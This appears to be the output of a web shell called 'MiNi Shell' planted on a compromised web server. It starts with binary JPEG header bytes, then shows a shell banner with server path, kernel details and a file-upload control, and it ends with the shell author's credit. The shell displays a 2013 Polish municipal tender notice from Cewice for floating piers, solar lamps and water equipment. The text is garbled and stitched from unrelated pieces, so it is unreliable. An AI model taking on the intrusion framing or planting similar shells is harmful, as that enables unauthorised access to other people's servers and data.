JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130725/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130725/294062-N-2013.html

<p class="kh_header"><b>Cewice: Dostawa i montaż pomostów pływających, lamp solarnych, kontenerów magazynowych ze sprzętem wodnym oraz elementów małej architektury na potrzeby realizacji zadania pn.: Zagospodarowania terenu wokół jeziora w Siemirowicach w sposób dogodny do rozwoju turystyki wodnej, wędkarskiej oraz potrzeb osób niepełnosprawnych - etap I</b><br>
<b>Numer ogłoszenia: 294062 - 2013; data zamieszczenia: 25.07.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Cewice z siedzibą organu wykonawczego gminy , ul. W. Witosa 16, 84-312 Cewice, woj. pomorskie, tel. 059 8613460, faks 059 8613462.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.bip.cewice.pl</li><li><b>Adres strony internetowej, pod którym dostępne są informacje dotyczące dynamicznego systemu zakupów:</b> nie dotyczy</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa i montaż pomostów pływających, lamp solarnych, kontenerów magazynowych ze sprzętem wodnym oraz elementów małej architektury na potrzeby realizacji zadania pn.: Zagospodarowania terenu wokół jeziora w Siemirowicach w sposób dogodny do rozwoju turystyki wodnej, wędkarskiej oraz potrzeb osób niepełnosprawnych - etap I.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiot zamówienia obejmuje dostawę i montaż pomostów pływających, lamp solarnych , kontenerów magazynowych ze sprzętem wodnym  oraz elementów  małej architektury w celu realizacji zadania pn.:  
Zagospodarowania terenu wokół jeziora w Siemirowicach w sposób dogodny do rozwoju turystyki wodnej, wędkarskiej oraz potrzeb osób niepełnosprawnych - etap I, w tym:
1)Pomosty pływające:
a)pomost pływający rekreacyjny w kształcie litery U zlokalizowany na  dz. 181/4  - 1 szt. 
W skład pomostu wchodzą: dwa trapy dojściowe, segment pomostu pływającego na pływakach z siatkobetonu. 
b)pomosty pływające dla wędkarzy składające się z jednego elementu pływającego na pływakach z tworzywa sztucznego i trapu wejściowego  - 5 szt. Lokalizacja dz. 182/1 - 4 szt. i dz. 181/4 - 1 szt.
c)pomosty muszą spełniać warunki określone w pozwoleniu wodnoprawnym oraz operacie wodnoprawnym, które stanowią załącznik do SIWZ.
d)pomosty muszą posiadać Świadectwo Uznania Typu Wyrobu wydane przez Polski Rejestr Statków lub dokument równoważny dopuszczający urządzenie wodne do użytkowania.
e)Wykonawca zobowiązany jest w okresie gwarancji (tj. 60 m-cy od dnia podpisania bez uwag protokołu odbioru końcowego) do przeprowadzenia co najmniej raz w roku przed rozpoczęciem sezonu letniego bezpłatnego przeglądu pomostów.
2)Lampy solarne ogrodowo-parkowe zamontowane wzdłuż ciągów pieszych - 24 szt.
3)Elementy małej architektury 
a)ławki parkowe z oparciem drewnianym 	- 9 szt.
b)kosze na śmieci z betonu piaskowanego z daszkiem - 8 szt.
c)tablica informacyjna - 1 szt.
d)ławko-stoły - 5 szt.
e)elementy małej architektury należy na trwale zamocować w gruncie
4)2 kontenery magazynowe 20´na sprzęt wodny - ustawione na bloczkach betonowych, wyposażone w stojaki na kajaki i elementy do magazynowania rowerów wodnych 
5)Sprzęt pływający: - kajaki dwuosobowe polietylenowe - 2 szt., rowery wodne: 2 osobowe - 2 szt, 4-osobowe - 2 szt. Sprzęt musi posiadać certyfikat bezpieczeństwa CE lub dokument równoważny potwierdzający bezpieczeństwo użytkowania sprzętu.
6)Na cenę całkowitą składa się:  koszt  urządzenia, dostawy i  montażu.
7)Wykonawca zobowiązany jest do: 
a)wykonania geodezyjnej inwentaryzacji powykonawczej dla dz. 182/1, 181/4 obręb Siemirowice z naniesionymi pomostami pływającymi.
b)wykonanie i przedłożenie Zamawiającemu po zakończeniu dostawy i montażu -  kosztorysu powykonawczego 
c)wywóz odpadów we własnym zakresie i na własny koszt.  
d)uporządkowania terenu 
8)	Wykonawca przed przystąpieniem do robót zobowiązany jest zawiadomić wszystkich właścicieli 
i użytkowników działek o terminie rozpoczęcia robót (a przede wszystkim WAM oddział w Gdyni, PZW w Słupsku) 
9)Szczegółowy opis przedmiotu zamówienia stanowią załączniki:
a)Dokumentacja projektowa 
b)Przedmiar robót
c)Specyfikacja Techniczna Wykonania i Odbioru Robót
d)Pozwolenie wodnoprawne wraz z operatem wodnoprawnym.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 34.51.50.00-0, 31.52.00.00-7, 34.93.00.00-5, 34.92.85.00-3, 39.11.36.00-3.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.10.2013.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 1.Zamawiający wymaga wniesienia wadium w kwocie 5 000,00 zł.
2.Wykonawca zobowiązany jest wnieść wadium przed terminem składania ofert.
3.Wadium może zostać wniesione w jednej lub kilku następujących formach:
1)pieniądzu, przelewem na rachunek bankowy Zamawiającego 
Bank Millenium  nr 77 1160 2202 0000 0002 3043 5431 
z dopiskiem wadium na dostawę wyposażenia terenu nad jeziorem w Siemirowicach ; za termin wniesienia wadium w formie pieniężnej zostanie przyjęty termin, w którym odpowiednia kwota znajdzie się na rachunku Zamawiającego; kserokopię dowodu wpłaty wadium potwierdzoną przez Wykonawcę należy dołączyć do oferty;
2)poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowo-kredytowej, z tym że poręczenie kasy jest zawsze poręczeniem pieniężnym;
3)gwarancjach bankowych;
4)gwarancjach ubezpieczeniowych;
5)poręczeniach udzielanych przez podmioty, o których mowa w art. 6b ust. 5 pkt 2 ustawy z 9 listopada 2000 r. o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz. U. nr 109, poz. 1158, z późn. zmianami)
4.W przypadku składania przez Wykonawcę wadium w formie gwarancji lub poręczenia, powinny one zostać sporządzone zgodnie z obowiązującym prawem i winny zawierać następujące elementy:
1.Nazwę dającego zlecenie (Wykonawcy), beneficjenta gwarancji lub poręczenia (Zamawiającego), gwaranta lub poręczyciela (banku lub instytucji ubezpieczeniowej udzielającej gwarancji lub poręczenia) oraz wskazanie ich siedzib;
2.Określenie wierzytelności, która ma być zabezpieczona gwarancją lub poręczeniem;
3.Kwotę gwarancji lub poręczenia;
4.Termin ważności gwarancji lub poręczenia;
5.Zobowiązania gwaranta lub poręczyciela do: zapłacenia kwoty gwarancji lub poręczenia na pierwsze pisemne żądanie Zamawiającego zawierające oświadczenie, iż Wykonawca którego ofertę wybrano:
a)odmówił podpisania umowy na warunkach określonych w ofercie lub
b)nie wniósł należytego zabezpieczenia umowy, lub
c)zawarcie umowy stało się niemożliwe z przyczyn leżących po stronie Wykonawcy
5.W przypadku składania przez Wykonawcę wadium w formie gwarancji lub poręczenia, powinny one ponadto zawierać zobowiązanie gwaranta lub poręczyciela do: zapłacenia kwoty gwarancji lub poręczenia na pierwsze pisemne żądanie Zamawiającego zawierające oświadczenie, iż Wykonawca w odpowiedzi na wezwanie do uzupełnienia oferty,  nie złożył dokumentów lub oświadczeń potwierdzających dowodzących spełnianie warunków udziału w postępowaniu, spełnianie wymagań określonych w stosunku do przedmiotu zamówienia lub pełnomocnictw i nie udowodnił, iż wynika to z przyczyn nieleżących po jego stronie.
6.W przypadku złożenia przez Wykonawcę wadium w formie określonej w pkt 3 ppkt 2)-5), Wykonawca zobowiązany jest dołączyć do oferty kserokopię dokumentu gwarancji potwierdzoną za zgodność z oryginałem, a oryginał tej gwarancji załączyć do oferty w osobnej kopercie;
7.Wniesienie wadium w pieniądzu za pomocą przelewu bankowego Zamawiający będzie uważał za skuteczne tylko wówczas, gdy bank prowadzący rachunek Zamawiającego potwierdzi, że otrzymał taki przelew przed terminem składania ofert. Dołączenie do oferty kopii polecenia przelewu wystawionego przez Wykonawcę jest warunkiem koniecznym, ale niewystarczającym do stwierdzenia przez Zamawiającego terminowego wniesienia wadium przez Wykonawcę;</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje szczegółowych wymagań w tym zakresie. Ocena spełniania warunku na podstawie oświadczenia z art. 22 ust 1 w zw. z art. 44 ustawy na zasadzie spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający wymaga, aby Wykonawca udowodnił posiadanie doświadczenia w wykonaniu lub wykonywaniu minimum jednej dostawy odpowiadającej swoim rodzajem dostawom stanowiącym przedmiot zamówienia  (polegającej na dostawie pomostów pływających lub dostawie i montażu lamp solarnych) o wartości nie mniejszej niż 100.000,00 zł brutto. Ocena spełniania warunku na podstawie dokumentów lub oświadczeń złożonych wraz z ofertą na zasadzie spełnia nie spełnia.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje szczegółowych wymagań w tym zakresie. Ocena spełniania warunku na podstawie oświadczenia z art. 22 ust 1 w zw. z art. 44 ustawy na zasadzie spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje szczegółowych wymagań w tym zakresie. Ocena spełniania warunku na podstawie oświadczenia z art. 22 ust 1 w zw. z art. 44 ustawy na zasadzie spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje szczegółowych wymagań w tym zakresie. Ocena spełniania warunku na podstawie oświadczenia z art. 22 ust 1 w zw. z art. 44 ustawy na zasadzie spełnia-nie spełnia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">określenie dostaw lub usług, których dotyczy obowiązek wskazania przez wykonawcę w wykazie lub złożenia poświadczeń, w tym informacja o dostawach lub usługach niewykonanych lub wykonanych nienależycie<br>W wykazie głównych dostaw powinna zostać ujęta między innymi minimum 1 dostawa pomostów pływających lub dostawa i montażu lamp solarnych o wartości nie mniejszej niż 100.000,00 zł brutto.;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

</ul>

<p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Każda oferta musi zawierać:
a)formularz oferty 
b)oświadczenie z art. 22 ust. 1 ustawy 
c)oświadczenie z art. 24 ust. 1 ustawy 
d)oświadczenie o przynależności do grupy kapitałowej i lista podmiotów należących do tej samej grupy kapitałowej 
e)stosowne pełnomocnictwa w przypadku, gdy upoważnienie do podpisania oferty nie wynika bezpośrednio z dokumentów dołączonych do oferty;
f)w przypadku Wykonawców wspólnie ubiegających się o realizację zamówienia dokument ustanawiający Pełnomocnika do reprezentowania w postępowaniu lub do reprezentowania w postępowaniu i zawarcia umowy w sprawie niniejszego zamówienia publicznego;
g)wykaz głównych dostaw wraz z dowodami o ich należytym wykonaniu, 
h)wykaz części zamówienia, których wykonanie zostanie powierzone podwykonawcy 
i)zobowiązanie podmiotu trzeciego do oddania swoich zasobów do dyspozycji - jeżeli dotyczy 



Zamawiający wymaga, aby żądane przez niego dokumenty zostały złożone w formie oryginału lub kserokopii poświadczonej za zgodność z oryginałem przez Wykonawcę. 
Zamawiający może żądać przedstawienia oryginału lub notarialnie poświadczonej kopii dokumentu wyłącznie wtedy, gdy złożona przez Wykonawcę kopia dokumentu jest nieczytelna lub budzi wątpliwości co do jej prawdziwości. 
Dokumenty sporządzone w języku obcym powinny zostać złożone wraz z tłumaczeniem na język polski, poświadczonym przez Wykonawcę



Jeżeli Wykonawcy wspólnie ubiegają się o zamówienie, zgodnie z art. 23 w związku z art. 141 ustawy PZP Zamawiający żąda aby:
1)dokumenty wymagane odnośnie potwierdzenia spełniania warunków udziału w postępowaniu wymienionych w art. 22 ust 1 ustawy zostały złożone wspólnie przez Wykonawców, zaś odnośnie spełniania warunku niepodlegania wykluczeniu z postępowania na podstawie art. 24 ustawy osobno przez każdego Wykonawcę;
2)w przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia, winni oni ustanowić Pełnomocnika do reprezentowania ich w postępowaniu lub do reprezentowania w postępowaniu i zawarcia umowy w sprawie niniejszego zamówienia. Załączone Pełnomocnictwo powinno zawierać: jednoznaczne określenie postępowania, do którego się odnosi i precyzować zakres umocowania; wymieniać wszystkich Wykonawców wspólnie ubiegających się o udzielenie zamówienia i zawierać podpisy każdego z nich;
3)wszelka korespondencja prowadzona będzie wyłącznie z Pełnomocnikiem;



W stosunku do Wykonawców zagranicznych wymaga się złożenia powyższych dokumentów w języku polskim lub z tłumaczeniem na język polski poświadczonym za zgodność z oryginałem przez Wykonawcę.
Zamawiający wymaga, aby żądane przez niego dokumenty lub oświadczenia zostały złożone w formie oryginału lub kserokopii poświadczonej za zgodność z oryginałem przez Wykonawcę.
Zamawiający może żądać przedstawienia oryginału lub notarialnie poświadczonej kopii dokumentu wyłącznie wtedy, gdy złożona przez Wykonawcę kopia dokumentu jest nieczytelna lub budzi wątpliwości co do jej prawdziwości.
Dokumenty sporządzone w języku obcym powinny zostać złożone wraz z tłumaczeniem na język polski, poświadczonym przez Wykonawcę. 



Jeżeli Wykonawca wykazując spełnianie warunków posiadania wiedzy i doświadczenia, polega na zasobach innych podmiotów, niezależnie od charakteru prawnego łączących go z nimi stosunków winien udowodnić Zamawiającemu, iż będzie dysponował zasobami niezbędnymi do realizacji zamówienia, w szczególności przedstawiając w tym celu pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonaniu zamówienia lub inny dokument potwierdzający ten fakt.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zamawiający przewiduje możliwość zmian postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy, w zakresie:
1.Zmian dotyczących przewidzianego terminu zakończenia dostaw:
a) zmiany spowodowane warunkami atmosferycznymi w szczególności: klęski żywiołowe oraz warunki atmosferyczne odbiegające od typowych, uniemożliwiające prowadzenie robót montażowych, dokonywanie odbiorów.
b)zmiany będące następstwem okoliczności leżących po stronie Zamawiającego w szczególności: wstrzymanie robót montażowych, konieczność usunięcia błędów lub wprowadzenia zmian w dokumentacji projektowej lub specyfikacji technicznej wykonania i odbioru robót montażowych oraz w przypadku odmowy wydania przez organ administracji lub inne podmioty wymaganych decyzji, zezwoleń, uzgodnień z przyczyn niezawinionych przez Wykonawcę.
2.Warunki zmian:
a)inicjowanie zmian - na pisemny wniosek Wykonawcy lub Zamawiającego 
b)uzasadnienie zmian - prawidłowa realizacja przedmiotu umowy, 
c)forma zmian: aneks do umowy w formie pisemnej pod rygorem nieważności</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.bip.cewice.pl/zamowienia<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> URZĄD GMINY UL. W. WITOSA 16, 84-312 CEWICE POKÓJ NR 17.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 02.08.2013 godzina 11:00, miejsce: URZĄD GMINY UL. W. WITOSA 16, 84-312 CEWICE POKÓJ NR 6.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zadanie pn. Zagospodarowanie terenu wokół jeziora w Siemirowicach w sposób dogodny do rozwoju turystyki wodnej, wędkarskiej oraz potrzeb osób niepełnosprawnych - etap I jest współfinansowane przez Unię Europejską ze środków Europejskiego Funduszu Rybackiego w ramach Programu Operacyjnego Zrównoważony rozwój sektora rybołówstwa i nadbrzeżnych obszarów rybackich 2007-2013 Środek 4.1. Rozwój obszarów zależnych od rybactwa.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com